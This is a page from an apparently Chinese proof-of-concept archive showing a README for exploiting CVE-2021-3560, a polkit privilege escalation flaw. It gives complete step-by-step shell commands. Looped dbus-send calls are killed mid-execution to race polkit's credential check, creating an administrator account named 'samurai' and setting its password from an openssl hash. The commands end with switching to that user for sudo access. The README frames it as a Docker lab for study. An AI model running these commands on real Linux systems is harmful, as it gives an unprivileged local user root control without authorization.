Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2021-3560 PoC — polkit 代码问题漏洞

Source
Associated Vulnerability
Title:polkit 代码问题漏洞 (CVE-2021-3560)
Description:It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Readme
# CVE-2021-3560-Polkit-Privilege-Escalation
by Mark, Qingchen Yu
To build the container with
 ```
docker build -t <image tag of your choice> .
 ```
 To run the container
 ```
docker run -it <image tag name>
 ```

1. start with ``start.sh``
   
2. Measura Execution Time:
   Note the 'real' time and calculate half of it. 
   ```
   time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
   ```

3. Create a User with Sudo Privileges:
   Replace X.XXX with half of the 'real' time above because we want the process to be interrupted in the middle
   the command will run as a loop of 10000 times
   You may need to run this step several times 
   ```
   for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
   ```

4. Check User creation
   ``
   id samurai
   ``
   It should show samurai user exists and show his permissions. Run the step 2 again if not. 

5. Generate Password Hash:
   in this case, password would be 'iamsamurai'
   Note the hash generated. 
   ```
   openssl passwd -5 iamsamurai
   ```

6. Set Password for New User:
   Replace X.XXX with the sleep duration and Password Hash with the hash from step 4. Replace UUUU with the user ID of 'samurai'
   ```
   for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
   ```

7. Switch to new user with the password you created in step 4. 
   ``su - samurai``

   Now  you should be able to use 'sudo with this user'.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →